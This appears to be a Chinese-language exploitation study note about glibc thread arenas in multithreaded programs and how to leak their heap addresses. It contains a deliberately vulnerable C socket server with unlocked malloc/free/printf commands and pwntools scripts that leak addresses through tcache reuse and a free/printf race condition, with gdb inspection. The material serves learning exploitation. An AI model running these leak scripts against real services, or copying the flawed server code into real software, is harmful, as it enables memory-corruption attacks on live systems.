thread-heap : arenas

2025-05-03

前言:信息获取是很重要的

https://wsxk.github.io/exploitation/
里面提到强大的黑客在攻破一个系统前,最重要的步骤是信息的获取,包括外部侦查和内部侦察两部分。
包括我们之前的漏洞利用技术,如果缺少了某些关键信息,就无法完成,如:

1. ROP在不知道程序的地址的情况下,是无法成功利用的
2. heap cache poisoning 经常要求你必须知道你想让heap申请的内存的地址是哪一个

目前为止,我们已经用过很多的信息纰漏的技巧,如

1. 未初始化的内存
2. heap metadata
3. overlapping allocations
4. bruteforce 多线程canary

接下来,我们来了解一下多线程下的信息泄露,尤其是多线程下的heap布局⑧

1. multi-thread heap布局: arenas

先前学过了race condition这个概念,我们知道,在多线程场景下,race condition有相当大的危害。

1.1 实际例子

char *messages[16] = { 0 };
int stored[16] = { 0 };

void vuln(FILE *in, FILE *out) {
    fprintf(out, "Welcome to the message server! Commands: malloc/scanf/printf/free/quit.\n");
    char input[1024];
    int idx;

    while (1)
    {
        if (fscanf(in, "%s", input) == EOF) break;
        if (strcmp(input, "quit") == 0) break;
        if (fscanf(in, "%d", &idx) == EOF) break;

        if (strcmp(input, "printf") == 0) {
            if (fprintf(out, "MESSAGE: %s\n", stored[idx] ? messages[idx] : "NONE") < 0) break;
        }
        else if (strcmp(input, "malloc") == 0) {
            if (!stored[idx]) messages[idx] = malloc(1024);
            stored[idx] = 1;
        }
        else if (strcmp(input, "scanf") == 0) {
            fscanf(in, "%1024s", stored[idx] ? messages[idx] : input);
        }
        else if (strcmp(input, "free") == 0) {
            if (stored[idx]) free(messages[idx]);
            stored[idx] = 0;
        }
        else fprintf(stderr, "INVALID COMMAND %s %#llx\n", input, *(unsigned long long*)input);
    }
}

void *handle_connection(void *fd) {
    FILE *in = fdopen((long)fd, "r");
    FILE *out = fdopen((long)fd, "w");
    setvbuf(in, NULL, _IONBF, 0);
    setvbuf(out, NULL, _IONBF, 1);

    fprintf(stderr, "Handling connection on FD %d\n", (int)fd);
    vuln(in, out);
    fprintf(stderr, "Closing connection on FD %d\n", (int)fd);

    close((long)fd);
    pthread_exit(0);
}

int main() {
    int server_fd = socket(AF_INET, SOCK_STREAM, 0);
    int option = 1;
    setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &option, sizeof(option));
    struct sockaddr_in server_addr;
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(1337);
    bind(server_fd, (struct sockaddr *) &server_addr, sizeof(server_addr));
    listen(server_fd, 4096);

    while (1) {
        pthread_t thread;
        long connection_fd = accept(server_fd, NULL, NULL);
        pthread_create(&thread, NULL, handle_connection, (void *)connection_fd);
    }
}

在这种场景下,因为多线程场景中,没有加锁的安全检查是无效的,因此我们可以无视安全检查,以任意顺序执行malloc,scanf,free,printf操作
根据我们先前学过的heap知识,只要了解了程序的一些基本信息,我们就可以利用漏洞来获得程序的控制权限了。基本信息如下:

1. PIE base (binary address)
2. ASLR base (library addresses)
3. Stack base
4. Heap base
5. Canary

通常情况下,我们可以用tcache的漏洞来泄露heap的基址,但是事实真有那么容易吗?

1.2 multi-thread: arenas

书接上文,要想利用这个漏洞,可以考虑tcache相关的泄露地址的方式,但是跟之前我们遇到的不同(之前的heap只有一个线程),这是一个多线程的程序,各个线程上的堆布局,和主线程的堆布局有一定的区别
在多线程场景中,多线程利用中泄露的堆地址,其实是线程使用的堆,而不是寻常进程主线程使用的堆地址。
再来看一个实际的代码案例:

#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>

void * thread_main(void * x){
    printf("addr: %p\n",malloc(1024));
    pthread_exit(0);
}

int main(){
    printf("MAIN addr: %p\n",malloc(1024));
    pthread_t t1,t2,t3,t4;
    pthread_create(&t1,NULL,thread_main,NULL);
    pthread_create(&t2,NULL,thread_main,NULL);
    pthread_create(&t3,NULL,thread_main,NULL);
    pthread_create(&t4,NULL,thread_main,NULL);
    pthread_join(t1,NULL);
    pthread_join(t2,NULL);
    pthread_join(t3,NULL);
    pthread_join(t4,NULL);
}
// gcc arena.c -o arena -lpthread
//strace -f ./arena 2>&1 | grep -E "(mmap|addr)"

可以看到非主线程中的堆分配地址,都是mmap得来的,且有很高的相关性,知道其中一个,就能知道其余线程的堆地址
在了解了多线程堆的布局后,程序的基本信息就可以更新了:

1. PIE base (binary address)
2. ASLR base (library addresses)
3. Stack base
4. Heap base
5. Thread-specific arenas  #新增
6. Canary

1.3 实操:泄露多线程环境下的堆地址

回到1.1的代码,如果我们想要利用泄露堆地址,首先可以利用tcache机制进行泄露,这里有一个问题,从1.2的案例我们可以知道,线程堆地址中间部分是有\x00字符存在的,而1.1代码中的fprintf函数遇到\x00字符会截断;如果要利用这个机制泄露地址,我们需要一直申请内存,直到中间没有\x00字节才行

1.3.1 直接使用tcache泄露地址:截断

from pwn import *
context.log_level = 'debug'
with process("./test") as p:
    r = remote("localhost",1337)
    r.sendline("malloc 0 malloc 1 malloc 2 free 0 free 1 free 2 malloc 3 printf 3 quit")
    print(r.readall())

1.3.2 race condition来泄露堆地址

如果我们深入printf函数,我们可以知道,其原理类似于如下代码:

int printf_string(the_string) {
    int length = strlen(the_string);
    write(1, the_string, length);
}

因此可以利用race condition来泄露堆地址!
原理如下:
因为write需要陷入内核态,和free不用,因此race condition出现的概率并不小
POC如下:

from pwn import *
import os
# context.log_level = 'debug'

with process("./test") as p:
    r1 = remote("localhost",1337)
    r2 = remote("localhost",1337)
    if os.fork() == 0:
        for _ in range(10000):
            r1.sendline(b"malloc 0 scanf 0 AAAAAAAABBBBBBBB free 0")
        os.kill(os.getpid(),9)
    else:
        for _ in range(10000):
            r2.sendline(b"printf 0")
        print(set(r2.clean().splitlines()))

1.3.3 用gdb观察内存信息

核心要点是如下两个:

1. 查看已知内存地址的固定偏移的周边内存的值
2. 已知的映射page中存放的指针信息

还是拿1.1的例子,调试代码如下:

from pwn import *
import os
import time
# context.log_level = 'debug'

with process("./test") as p:
    gdb.attach(p,"continue\n")
    time.sleep(3)
    r1 = remote("localhost",1337)
    r2 = remote("localhost",1337)
    if os.fork() == 0:
        for _ in range(20000):
            r1.sendline(b"malloc 0 scanf 0 AAAAAAAABBBBBBBB free 0")
        os.kill(os.getpid(),9)
    else:
        for _ in range(20000):
            r2.sendline(b"printf 0")
        output = r2.clean()
        output_copy = output
        output = set(output.splitlines())
        print(output)
        pthread_leak = u64(next(x for x in output_copy.split(b"\n") if  b"\x7f" in x)[17:].ljust(8,b"\x00"))
        print(hex(pthread_leak))
        #print(set(r2.clean().splitlines()))

gdb调试时,还可以看到上方的libc地址:
其中0x7ffff7f8db80就是main_arena的地址